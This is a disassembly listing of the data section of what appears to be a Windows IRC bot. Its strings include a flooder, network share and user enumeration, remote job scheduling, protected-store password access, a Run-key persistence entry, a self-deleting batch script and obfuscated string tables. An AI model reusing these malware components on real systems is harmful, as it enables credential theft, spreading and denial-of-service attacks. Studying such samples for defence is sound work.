		dd 2E020373h, 0
dword_41358C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402230+F4o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4135C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402230+ABo
dword_4135CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402230+98o
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4135FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_4027CB+97o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_413620	dd 6578652Eh, 0		; DATA XREF: sub_4027CB+3Fo
					; sub_40E496+44o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o
					; sub_407A76+C17o
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40287C+17Do
					; sub_407A76:loc_408D31o
		align 4
dword_41364C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40287C+B3o
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40287C+ACo
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40287C:loc_40291Fo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40287C:loc_4028EAo
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40287C+34o
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_402D7B:loc_402EE2o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_402D7B:loc_402ECAo
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_402D7B+108o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_402D7B+FBo
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_402D7B+F3o
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_402D7B:loc_402E65o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_402D7B:loc_402E24o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_402D7B+70o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_402D7B+63o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_402D7B+56o
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_402D7B+49o
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_402D7B+3Co
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_402D7B+34o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_402D7B+27o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402D7B+8o
		align 4
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o
dword_4139C0	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_402EFD+6Bo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4139F4	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_4030A7+5Eo
		dd 30032074h, 73250234h, 203h
dword_413A14	dd 333131h		; DATA XREF: sub_4030A7:loc_4030BCo
dword_413A18	dd 0D5EFB9A9h, 99D184E3h, 0E391E4DCh, 0F0h, 0 ;	DATA XREF: sub_4033F9+Ao
dword_413A2C	dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o
dword_413A38	dd 2E3031h		; DATA XREF: sub_40324A+48o
dword_413A3C	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_40324A+34o
dword_413A48	dd 2E323731h, 0		; DATA XREF: sub_40324A+20o
dword_413A50	dd 2E373231h, 0		; DATA XREF: sub_40324A+7o
dword_413A58	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_409918+172o
					; sub_40D6E0+1DFo
dword_413A64	dd 313A3Ah		; DATA XREF: sub_40338B+3Co
dword_413A68	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_403EA9+48Fo
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+204o
					; sub_403EA9+2A3o ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_403EA9+198o
					; sub_403EA9+23Fo ...
		align 4
aU_0		db '%u',0               ; DATA XREF: sub_403EA9+16Ao
					; sub_40D6E0+201o
		align 4
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_4044AA:loc_40455Eo
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_4045B7+47o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4045B7+3Ao
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_4045B7+2Do
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_4045B7+25o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_4045B7+Bo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_404639+C5o
					; .packed:00416CF0o ...
		align 4
dword_413B0C	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40485F+7Eo
		dd 732520h
dword_413B24	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40485F+48o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_413B4C	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_40491E+27o
dword_413B5C	dd 58323025h, 0		; DATA XREF: sub_404ACF+1C4o
					; sub_40FD22+Do
dword_413B64	dd 58383025h, 0		; DATA XREF: sub_404ACF+181o
					; sub_407A76+107Co
dword_413B6C	dd 7325h		; DATA XREF: sub_404ACF+15Fo
					; sub_405FF3+2BAo ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_404ACF+79o
		align 4
aHklm		db 'HKLM',0             ; DATA XREF: sub_404ACF+5Do
		align 10h
aHkcu		db 'HKCU',0             ; DATA XREF: sub_404ACF+41o
		align 4
aHkcr		db 'HKCR',0             ; DATA XREF: sub_404ACF+25o
		align 10h
off_413B90	dd offset dword_413DD8	; DATA XREF: sub_4050D1+2Er
					; sub_4050D1+3Co ...
off_413B94	dd offset dword_413DB0	; DATA XREF: sub_4050D1+156r
					; sub_4050D1+167r ...
		dd offset dword_413DA0
		dd offset dword_413DB0
		dd offset dword_413D90
		dd offset dword_413D6C
		dd offset dword_413D5C
		dd offset dword_413D3C
		dd offset dword_413D28
		dd offset dword_413D3C
		dd offset dword_413D14
		dd offset dword_413CFC
		dd offset dword_413CEC
		dd offset dword_413CD8
		dd offset dword_413CC4
		dd offset dword_413CA4
		dd offset dword_413C90
		dd offset dword_413C74
		dd offset dword_413C64
		dd offset dword_413C74
		dd offset dword_413C54
		dd offset dword_413C2C
		dd offset dword_413C18
		dd offset dword_413BF8
		dd 2 dup(0)
dword_413BF8	dd 89FBA793h, 91D195BAh, 0E8B6EACDh, 8CDBC5F0h,	0BEB8BABBh
					; DATA XREF: .packed:00413BECo
		dd 98D296ADh, 8DAFCBh, 0
dword_413C18	dd 8BE0ABB7h, 92CC89B9h, 0E387AF97h, 2 dup(0) ;	DATA XREF: .packed:00413BE8o
dword_413C2C	dd 97E8BE9Fh, 83DF85BCh, 0A691A5D0h, 87D0C1C8h,	9ADFEEACh
					; DATA XREF: .packed:00413BE4o
		dd 96C983A1h, 0E3ACEAC0h, 81C0D6F6h, 0BBh, 0
dword_413C54	dd 88FFA2BFh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BE0o
dword_413C64	dd 94F7BEADh, 0D9C8959Ch, 9AB2DCh, 0 ; DATA XREF: .packed:00413BD8o
dword_413C74	dd 94F7BE8Dh, 0D7CC83B9h, 0D59DBFEAh, 87DDD3FDh, 8BD9EEB3h
					; DATA XREF: .packed:00413BD4o
					; .packed:00413BDCo
		dd 0A5h, 0
dword_413C90	dd 94F7BEADh, 94C895B9h, 0E387AF97h, 2 dup(0) ;	DATA XREF: .packed:00413BD0o
dword_413CA4	dd 9FF6A789h, 0D7CD91BAh, 0F18BAFF7h, 0C2C2D2EBh, 9EEAA798h
					; DATA XREF: .packed:00413BCCo
		dd 9BD287A2h, 2	dup(0)
dword_413CC4	dd 9EEAA7B8h, 9BD287A2h, 0E387AF97h, 2 dup(0) ;	DATA XREF: .packed:00413BC8o
dword_413CD8	dd 9AF6A789h, 0B69E96B8h, 0F291AFDEh, 2	dup(0)
					; DATA XREF: .packed:00413BC4o
dword_413CEC	dd 9AF6A7A9h, 929096B8h, 0AFC1h, 0 ; DATA XREF:	.packed:00413BC0o
dword_413CFC	dd 9FF6A789h, 0D7CD91BAh, 0EA8FB2FCh, 90CCD2EBh, 2 dup(0)
					; DATA XREF: .packed:00413BBCo
dword_413D14	dd 97E8B6BBh, 85DB94BAh, 0E387AF97h, 2 dup(0) ;	DATA XREF: .packed:00413BB8o
dword_413D28	dd 0B2F6A7A9h, 99D181BAh, 0E387AF97h, 2	dup(0)
					; DATA XREF: .packed:00413BB0o
dword_413D3C	dd 9FF6A789h, 0D7CD91BAh, 0E998A5F5h, 92E880EAh, 98F1A2AEh
					; DATA XREF: .packed:00413BACo
					; .packed:00413BB4o
		dd 98D792B4h, 0D7h, 0
dword_413D5C	dd 94FFA1B2h, 8FDBC8BBh, 0DCh, 0 ; DATA	XREF: .packed:00413BA8o
dword_413D6C	dd 9EF1A29Dh, 0A49E92BBh, 0E389B8DCh, 97FB80F6h, 96F1BAB0h
					; DATA XREF: .packed:00413BA4o
		dd 85EEC6B0h, 0F59AA9D6h, 0F7h,	0
dword_413D90	dd 88EABDBDh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BA0o
dword_413DA0	dd 88F9BD97h, 8FDBC8A6h, 0DCh, 0 ; DATA	XREF: .packed:00413B98o
dword_413DB0	dd 9AFBA192h, 92EDC6B9h, 0EF8DBFDAh, 0A389D9F0h, 94F0BAABh
					; DATA XREF: .packed:off_413B94o
					; .packed:00413B9Co
		dd 8ECA8FA7h, 0F49A9999h, 87CAC9F2h, 2 dup(0)
dword_413DD8	dd 9AEBBDB2h, 8FDBC8A6h, 0DCh, 0 ; DATA	XREF: .packed:off_413B90o
dword_413DE8	dd 293Ah		; DATA XREF: sub_404D00+8Bo
dword_413DEC	dd 5Ch			; DATA XREF: sub_404D00+22o
					; sub_404DAD+21o ...
dword_413DF0	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_404E31+24o
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_404EDC+1Ao
		align 10h
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_404FEB+99o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_404FEB+42o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_4050D1+132o
					; sub_4052DF+AAo
		align 4
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_4052DF+D3o
					; sub_4052DF+151o
		align 10h
dword_413EC0	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40544F+DDo
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_413EF4	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40544F+C2o
dword_413F00	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_4056AC+68o
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_413F34	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4057ED+85o
		dd 34300320h, 3732502h,	2
dword_413F54	dd 20h			; DATA XREF: sub_4058EE+39o
					; sub_4058EE+6Fo ...
dword_413F58	dd 30h			; DATA XREF: sub_405BDF+85o
					; sub_408E1A+D6o ...
dword_413F5C	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_405C9C+DBo
					; sub_405D8C+AEo
dword_413F68	dd 0D5F6BDB3h, 0D389B6h, 0 ; DATA XREF:	sub_406373+5o
aIQBgEFSsoR	db '©¹ïÕ¡ƒÌ…ØäœééŽË',0 ; DATA XREF: sub_406373+11o
		align 4
		dd 0
dword_413F8C	dd 0D5F6BDB3h, 83B1h, 0	; DATA XREF: sub_406373+1Fo
dword_413F98	dd 96EDAFBAh, 83DB88FBh, 2 dup(0) ; DATA XREF: sub_406373+2Do
dword_413FA8	dd 9CF7A1B9h, 969083B9h, 0DCh, 0 ; DATA	XREF: sub_406373+3Bo
dword_413FB8	dd 9EF6A7B0h, 0D9D095B8h, 0A892A5DAh, 0D5E5h, 0	; DATA XREF: sub_406373+4Bo
off_413FCC	dd offset dword_4140F0	; DATA XREF: sub_4063E4+Er
					; sub_4063E4+18o ...
off_413FD0	dd offset dword_4140BC	; DATA XREF: sub_4063E4+5Br
		dd offset dword_4140A0
		dd offset dword_41405C
		dd offset aLLDifjqsZbG	; "«½¶œ´‹Û„ˆä†ïéLJ±£"
		dd offset dword_413FEC
		dd 2 dup(0)
dword_413FEC	dd 95EFA1BAh, 93DF89B9h, 0EB9EAD97h, 9B87D3E1h,	94F7A6BFh
					; DATA XREF: .packed:00413FE0o
		dd 9AD185FBh, 0EB9EAD96h, 8686D3E1h, 97F6B9B1h,	0D8DA87BAh
		dd 0E898A3CAh, 9286C4E1h, 9AFBBEB1h, 96C7C9A5h,	0D990A5D1h
		dd 87C3C5E6h, 9EF4ABA9h, 83E1D4B1h, 0B7D2FBD4h,	87D1C5AAh
		dd 2 dup(0)
aLLDifjqsZbG	db '«½¶œ´‹Û„ˆä†ïéLJ±£',0 ; DATA XREF: .packed:00413FDCo
		align 4
		dd 0
dword_41405C	dd 95EFA1BAh, 93DF89B9h, 0B7D0F996h, 0D186C6ABh, 0CAACA8EFh
					; DATA XREF: .packed:00413FD8o
		dd 0DA89D4E1h, 0E3CBFA81h, 849194A9h, 98A0E3E7h, 0C293DEE4h
		dd 0BF9BFBD8h, 0DA9CC2B7h, 0D4FDFDEBh, 84DF95B8h, 0A89CA4C0h
		dd 0CCD8E1h, 0
dword_4140A0	dd 95EFA1BAh, 93DF89B9h, 0E596A797h, 8DDACFF6h,	98B6BAB8h
					; DATA XREF: .packed:00413FD4o
		dd 8BBAh, 0
dword_4140BC	dd 9AECAFBAh, 0D8D083FAh, 0A998A3DBh, 90DBD5E7h, 0D4ECA0BBh
					; DATA XREF: .packed:off_413FD0o
		dd 90D18992h, 0E9ABAFD5h, 83CBCCEBh, 88F687ACh,	9BD287A1h
		dd 0E3D1B8DCh, 0C5FCh, 0
dword_4140F0	dd 97F7A1AAh, 0D9CC87B7h, 0E190A5DEh, 8187C5E8h, 0A3B1h
					; DATA XREF: .packed:off_413FCCo
		dd 0
off_414108	dd offset byte_415355	; DATA XREF: sub_405F9A+29o
dword_41410C	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_405FF3+29Ao
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4141FC	dd 73h			; DATA XREF: sub_405FF3+239o
					; sub_40656A+16Eo ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_405FF3+1FBo
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_405FF3+1D1o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_405FF3+19Ao
					; sub_40656A+11Do ...
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_405FF3+191o
					; sub_40656A+118o ...
a2003		db '2003',0             ; DATA XREF: sub_405FF3+16Ao
					; .packed:00416EBCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_405FF3+15Ao
		align 4
a2000		db '2000',0             ; DATA XREF: sub_405FF3+14Ao
					; .packed:00416EB0o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_405FF3+131o
		align 4
a98		db '98',0               ; DATA XREF: sub_405FF3+121o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_405FF3+111o
		align 4
a95		db '95',0               ; DATA XREF: sub_405FF3+103o
		align 10h
aNoSp		db 'no SP',0            ; DATA XREF: sub_405FF3+E8o
		align 4
a?:					; DATA XREF: sub_405FF3+E3o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4062CF+21o
		align 4
dword_41428C	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_40656A+1C8o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_40656A+15Bo
		align 10h
aAvarage	db 'Avarage',0          ; DATA XREF: sub_40656A+14Fo
aBad		db 'Bad',0              ; DATA XREF: sub_40656A+148o
aLan		db 'LAN',0              ; DATA XREF: sub_40656A:loc_40666Do
aModem		db 'Modem',0            ; DATA XREF: sub_40656A+FCo
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_40656A+AEo
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_40677A+21o
		align 10h
dword_4143A0	dd 5C3A41h		; DATA XREF: sub_4067B2+6r
					; sub_40682C+60r ...
dword_4143A4	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_40682C+1A2o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4143DC	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_40682C+15Ao
dword_4143EC	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_40682C+13Bo
		dd 20424D02h, 65657266h, 0
aUnknown	db 'unknown',0          ; DATA XREF: sub_40682C+FAo
					; sub_40E6A0+36o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_40682C+F3o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_40682C+E9o
		align 4
aRemote		db 'remote',0           ; DATA XREF: sub_40682C+DDo
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_40682C+D1o
		align 4
a_		db '. ',0               ; DATA XREF: sub_40682C+BDo
					; sub_40682C+184o
		align 4
aRemovable	db 'removable',0        ; DATA XREF: sub_40682C+88o
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_40682C+2Bo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_406A08+21o
		align 10h
aThread		db 'thread',0           ; DATA XREF: sub_406BBC+76o
					; sub_406CB2+7Bo
		align 4
aBtg		db 'btg',0              ; DATA XREF: sub_406BBC+71o
dword_41447C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_406BBC+54o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_406EA9+60o
					; sub_406F84+86o
		align 4
dword_4144C4	dd 3430032Dh, 2037802h	; DATA XREF: sub_4070AF+DAo
aNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4144E4	dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: sub_4070AF+9Co
dword_4144F4	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_4070AF+40o
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_407237+14o
		align 4
dword_414548	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_4072FC+260o
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_414574	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_4072FC+203o
		dd 30033A72h, 64250234h, 203h
dword_41459C	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_4072FC+1DCo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_4072FC:loc_407466o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4072FC+6Do
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4072FC+5Bo
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4072FC+53o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_4072FC+35o
		align 10h
unk_414620	db  55h	; U		; DATA XREF: sub_40756C+Do
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_414664	dd 202h			; DATA XREF: sub_40765C+F8o
dword_414668	dd 0A0D7325h, 0		; DATA XREF: sub_40765C+5Fo
dword_414670	dd 3334h		; DATA XREF: sub_40765C+3Ao
dword_414674	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40765C+28o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_4146A0	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_4077A7+45o
		dd 2E020373h, 0
dword_4146BC	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40780C+7Fo
		dd 30032072h, 73250234h, 203h
dword_4146DC	dd 92F7A6A9h, 85DFC8A6h, 0E8D1A4D0h, 0D4E1h, 0 ; DATA XREF: sub_40780C+4Do
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_4079AC+9o
		align 4
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_407A76:loc_408CFFo
		align 10h
dword_414710	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_407A76+1279o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_414734	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_407A76+1232o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
aUsername	db 'username',0         ; DATA XREF: sub_407A76:loc_408B81o
		align 4
aId		db 'id',0               ; DATA XREF: sub_407A76+10EAo
		align 4
dword_4147B8	dd 2ABF0h		; DATA XREF: sub_407A76+10C6r
		align 10h
dword_4147C0	dd 4CD6B30h		; DATA XREF: sub_407A76+10BEr
		dd 2 dup(0)
dword_4147CC	dd 4BB8h		; DATA XREF: sub_407A76:loc_408B2Cr
		dd 0
dword_4147D4	dd 4365310h		; DATA XREF: sub_407A76:loc_408B13r
		align 10h
a9252		db '9252',0             ; DATA XREF: sub_407A76+1067o
		align 4
dword_4147E8	dd 548DB0F1h		; DATA XREF: sub_407A76+105Er
		dd 3 dup(0)
dword_4147F8	dd 1887BC00h		; DATA XREF: sub_407A76+1052r
		dd 2 dup(0)
dword_414804	dd 187F0h		; DATA XREF: sub_407A76+1046r
		dd 0
dword_41480C	dd 28F1BC00h		; DATA XREF: sub_407A76+103Ar
		dd 2 dup(0)
dword_414818	dd 28E90h		; DATA XREF: sub_407A76:loc_408AA4r
		align 10h
dword_414820	dd 27FC4CF0h		; DATA XREF: sub_407A76+1009r
		dd 2 dup(0)
dword_41482C	dd 20E14300h		; DATA XREF: sub_407A76+FFDr
		dd 2 dup(0)
dword_414838	dd 20CD0h		; DATA XREF: sub_407A76:loc_408A67r
		align 10h
dword_414840	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_407A76+FE7o
		dd 63h
dword_414858	dd 0ABB370h		; DATA XREF: sub_407A76:loc_4089A3r
		dd 2 dup(0)
dword_414864	dd 2343003h, 2037325h	; DATA XREF: sub_407A76+F23o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_414880	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_407A76+F0Do
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_407A76+E7Do
					; .packed:00416EB8o
		align 4
dword_4148B8	dd 3A4D8ED6h		; DATA XREF: sub_407A76:loc_4088C0r
		dd 3 dup(0)
dword_4148C8	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_407A76+E40o
		dd 2037325h, 2Eh
dword_4148E4	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_407A76+E2Do
		dd 2037325h, 0
dword_414900	dd 8CD90h		; DATA XREF: sub_407A76:loc_40883Ar
		dd 2 dup(0)
